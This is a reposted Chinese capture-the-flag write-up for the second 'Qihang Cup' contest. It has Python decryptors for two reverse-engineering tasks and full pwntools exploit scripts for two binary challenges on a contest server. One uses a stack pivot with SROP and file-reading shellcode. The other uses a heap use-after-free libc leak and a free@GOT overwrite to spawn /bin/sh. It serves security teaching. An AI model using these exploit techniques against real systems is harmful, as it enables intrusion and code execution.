0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d
]
# 生成逆 S-Box
INV_SBOX = [SBOX.index(i) for i in range(256)]
# --- 2. 核心算法 ---
def gf_mul(a, b):
p = 0
for _ in range(8):
if b & 1: p ^= a
hi = a & 0x80
a = (a << 1) & 0xFF
if hi: a ^= 0x1B
b >>= 1
return p
def inv_mix_columns(st):
res = [0]*4
mat = [[0x0E, 0x0B, 0x0D, 0x09],[0x09, 0x0E, 0x0B, 0x0D],[0x0D, 0x09, 0x0E, 0x0B],[0x0B, 0x0D, 0x09, 0x0E]]
for i in range(4):
for j in range(4): res[i] ^= gf_mul(mat[i][j], st[j])
return res
def tea_decrypt_custom(v0, v1, k_bytes):
k = struct.unpack("<4I", k_bytes)
j = 0xC6EF3720 # 修复:十进制 -957401312 的正确 32 位十六进制表示
delta = 0x61C88647 # IDA 里的 1640531527
# 严格逆推 32 轮
for _ in range(32):
# 1. 还原 v1 (对应 IDA 的 v61)
term1 = (j + k[(j >> 11) & 3]) & 0xFFFFFFFF
term2 = (v0 + ((v0 >> 5) ^ ((v0 << 4) & 0xFFFFFFFF))) & 0xFFFFFFFF
v1 = (v1 - (term1 ^ term2)) & 0xFFFFFFFF
# 2. 还原 j
j = (j + delta) & 0xFFFFFFFF
# 3. 还原 v0 (对应 IDA 的 v60)
term3 = (j + k[j & 3]) & 0xFFFFFFFF
term4 = (v1 + ((v1 >> 5) ^ ((v1 << 4) & 0xFFFFFFFF))) & 0xFFFFFFFF
v0 = (v0 - (term3 ^ term4)) & 0xFFFFFFFF
return v0, v1
def custom_b64_decode(data, table):
std = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
trans = str.maketrans(table, std)
import base64
return base64.b64decode(data.translate(trans))
# --- 3. 执行流程 ---
print("[*] 正在执行 Base64 解码...")
raw = custom_b64_decode(CIPHER_B64, QWERTY_TABLE)
print("[*] 正在执行 32 轮 TEA 解密...")
tea_out = b""
for i in range(0, 48, 8):
v0, v1 = struct.unpack("<2I", raw[i:i+8])
dv0, dv1 = tea_decrypt_custom(v0, v1, TEA_KEY)
tea_out += struct.pack("<2I", dv0, dv1)
print("[*] 正在执行 InvMixColumns 和 逆 S-Box 替换...")
# 逆向 MixColumns (只对前 40 字节执行)
processed = []
for i in range(0, 40, 4):
processed += inv_mix_columns(list(tea_out[i:i+4]))
# 将剩下的 8 字节追加(代码中最后 3 个字符以及全 0 填充位并没有参与 MixColumns)
processed += list(tea_out[40:48])
# 逆向 S-Box (针对有效输入的 43 字节)
flag_chars = []
for b in processed[:43]:
flag_chars.append(chr(INV_SBOX[b]))
print("\n[+] 解密成功!最终 Feedback Code (Flag) 如下:\n")
print("".join(flag_chars))
RE-mirage_hv
环境变量:检测 HV_BYPASS 是否为 1。
反调试检测:读取 /proc/self/status 中的 TracerPid 字段。如果被调试(TracerPid != 0),则输出 DENIED 并退出。
异常触发点:如果检测通过,程序会执行一个 BUG() 宏(汇编指令为 ud2)。
程序提前通过 sigaction 注册了 sub_1640 处理 SIGILL 信号:
C
void __fastcall sub_1640(__int64 a1, __int64 a2, __int64 a3) {
*(_QWORD *)(a3 + 168) += 2LL; // 关键:将异常发生处的 RIP 指针向后跳过 2 字节
dword_404C = 1; // 设置全局标志位
}
通过追踪 .rodata 段中被 main+49C 处引用的数据 unk_2040,发现了一串非可读的十六进制流:
加密数据地址:0x2040
首字节:0xF4
数据序列:F4 ED E6 F1 E3 DE C8 CC D7 C4 C2 C0 FA CD D3...
def decrypt_flag():
# 1. 提取出的加密字节流 (来自 .rodata:0000000000002040)
encrypted_data = [
0xF4, 0xED, 0xE6, 0xF1, 0xE3, 0xDE, 0xC8, 0xCC, 0xD7, 0xC4, 0xC2, 0xC0,
0xFA, 0xCD, 0xD3, 0xFA, 0xC1, 0xC0, 0xC8, 0xCA, 0xFA, 0xC3, 0xC9, 0xC4,
0xC2, 0xFA, 0x97, 0x95, 0x97, 0x93, 0xD8
]
# 2. 我们推导出的密钥 (Key = 0xA5)
# 推导逻辑:encrypted_data[5] (0xDE) ^ '{' (0x7B) = 0xA5
key = 0xA5
# 3. 执行异或解密
flag = ""
for byte in encrypted_data:
flag += chr(byte ^ key)
print("-" * 30)
print(f"解密密钥: {hex(key)}")
print(f"最终 Flag: {flag}")
print("-" * 30)
if __name__ == "__main__":
decrypt_flag()
pwn Caged_Signal
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
HOST = '220.168.118.182'
PORT = 32729
LOCAL = False
message_buf = 0x4040c0
syscall_ret = 0x40137e
leave_ret = 0x40136d
read_in_main = 0x401470
sc_asm = '''
lea rsi, [rip + flag_path]
mov rdi, -100
sub rsp, 24
xor eax, eax
mov [rsp], rax
mov [rsp+8], rax
mov [rsp+16], rax
mov rdx, rsp
mov r10, 24
mov rax, 437
syscall
cmp rax, 0
jge read_flag
lea rsi, [rip + flag_path2]
mov rdi, -100
mov rdx, rsp
mov r10, 24
mov rax, 437
syscall
cmp rax, 0
jge read_flag
lea rsi, [rip + flag_path3]
mov rdi, -100
mov rdx, rsp
mov r10, 24
mov rax, 437
syscall
cmp rax, 0
jge read_flag
lea rsi, [rip + flag_path4]
mov rdi, -100
mov rdx, rsp
mov r10, 24
mov rax, 437
syscall
read_flag:
mov rdi, rax
lea rsi, [rsp + 24]
mov rdx, 0x200
xor eax, eax
syscall
mov rdx, rax
mov rdi, 1
lea rsi, [rsp + 24]
mov rax, 1
syscall
xor rdi, rdi
mov rax, 60
syscall
flag_path: .asciz "/flag"
flag_path2: .asciz "/flag.txt"
flag_path3: .asciz "/home/ctf/flag"
flag_path4: .asciz "/home/ctf/flag.txt"
'''
def exploit():
if LOCAL:
r = process('./chall')
else:
r = remote(HOST, PORT)
shellcode = asm(sc_asm)
frame = SigreturnFrame()
frame.rax = 10
frame.rdi = 0x404000
frame.rsi = 0x3000
frame.rdx = 7
frame.rip = syscall_ret
frame.rsp = message_buf + 0x200
sigframe_bytes = bytes(frame)
log.info("Phase 1: Overflow phone buffer -> stack pivot")
r.recvuntil(b'phone?\n', timeout=10)
payload1 = b'A' * 16
payload1 += p64(message_buf)
payload1 += p64(leave_ret)
payload1 += b'B' * 8
r.send(payload1)
log.info("Phase 2: Write sigframe + shellcode to message buffer")
r.recvuntil(b'about?\n', timeout=10)
payload2 = b''
payload2 += p64(message_buf)
payload2 += p64(read_in_main)
payload2 += sigframe_bytes
payload2 += b'\x00' * (0x200 - len(payload2))
payload2 += p64(message_buf + 0x208)
payload2 += shellcode
payload2 += b'\x00' * (0x400 - len(payload2))
r.send(payload2)
log.info("Waiting for pivot + re-read trigger...")
sleep(1.5)
try:
r.recv(timeout=2)
except:
pass
log.info("Phase 3: Send 15 bytes -> rax=15 -> sigreturn")
phase3 = b'X' * 8 + p64(syscall_ret)[:7]
assert len(phase3) == 15
r.send(phase3)
log.info("Waiting for flag...")
sleep(1)
try:
result = r.recvall(timeout=8)
print(f"\n{'='*60}")
print(f"RESULT: {result}")
print(f"{'='*60}")
except:
try:
result = r.recv(timeout=5)
print(f"\n{'='*60}")
print(f"RESULT: {result}")
print(f"{'='*60}")
except:
log.error("No data received")
r.close()
if __name__ == '__main__':
exploit()
K_Chaos
from pwn import *
host = '220.168.118.182'
port = 32635
context.binary = './chaos'
context.log_level = 'debug'
def start():
return remote(host, port)
elf = ELF('./chaos')
libc = ELF('./libc.so.6')
def create_note(io, size, name, content):
io.sendline(b'1')
io.sendlineafter(b'Size (max 1280): ', str(size).encode())
io.sendlineafter(b'Name: ', name)
io.sendlineafter(b'Content: ', content)
io.recvuntil(b'>>> ')
def delete_note(io, index):
io.sendline(b'2')
io.sendlineafter(b'Index: ', str(index).encode())
io.recvuntil(b'>>> ')
def view_note(io, index):
io.sendline(b'4')
io.sendlineafter(b'Index: ', str(index).encode())
io.recvuntil(b'Content: ')
# Reads 32 bytes since size is 0
data = io.recv(32)
io.recvuntil(b'>>> ')
return data
def secret_function(io, addr, value):
io.sendline(b'7')
io.sendlineafter(b'Password: ', b'ch40s_m4st3r')
io.sendlineafter(b'Gift address: ', hex(addr).encode())
io.sendlineafter(b'Gift value: ', hex(value).encode())
io.recvuntil(b'>>> ')
def exploit():
io = start()
io.recvuntil(b'>>> ')
# 1. Leak Libc
print("Creating chunks for leak...")
# Chunk A: 0x500 size (0x510 chunk) -> Unsorted Bin
# We must ensure it's not consolidated with top chunk -> Chunk B
create_note(io, 0x500, b"Leak", b"A"*8)
create_note(io, 0x20, b"Guard", b"B"*8)
print("Freeing chunk 0...")
delete_note(io, 0)
print("Viewing chunk 0 (UAF)...")
leak_data = view_note(io, 0)
# First 8 bytes are FD pointer (main_arena + 96)
leak = u64(leak_data[:8])
print(f"Leak: {hex(leak)}")
# Calculate Libc Base
offset = libc.sym['__malloc_hook'] + 0x70
libc.address = leak - offset
print(f"Libc Base: {hex(libc.address)}")
print(f"System: {hex(libc.sym['system'])}")
print(f"Free GOT: {hex(elf.got['free'])}")
# 2. Overwrite GOT
print("Overwriting free@got with system...")
secret_function(io, elf.got['free'], libc.sym['system'])
# 3. Get Shell
print("Triggering shell...")
# Create note with /bin/sh
# Slot 0 is free, so it will reuse slot 0 index
# But malloc might return the same chunk 0 if it fits?
# We ask for 0x20 size. The 0x510 chunk is in unsorted bin.
# Malloc will split it.
# So index 0 will point to the same address (start of old chunk 0).
create_note(io, 0x20, b"Shell", b"/bin/sh\0")
# Delete note -> free(ptr) -> system("/bin/sh")
io.sendline(b'2')
io.sendlineafter(b'Index: ', b'0')
# Send commands to shell
io.sendline(b'ls')
io.sendline(b'cat flag')
# Read output
try:
print(io.recvall(timeout=2).decode())
except:
pass
io.close()
if __name__ == "__main__":
exploit()
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玄网安全 oPis | 晨曦大佬
oPis | 晨曦大佬《第二届“启航杯”网络安全挑战赛》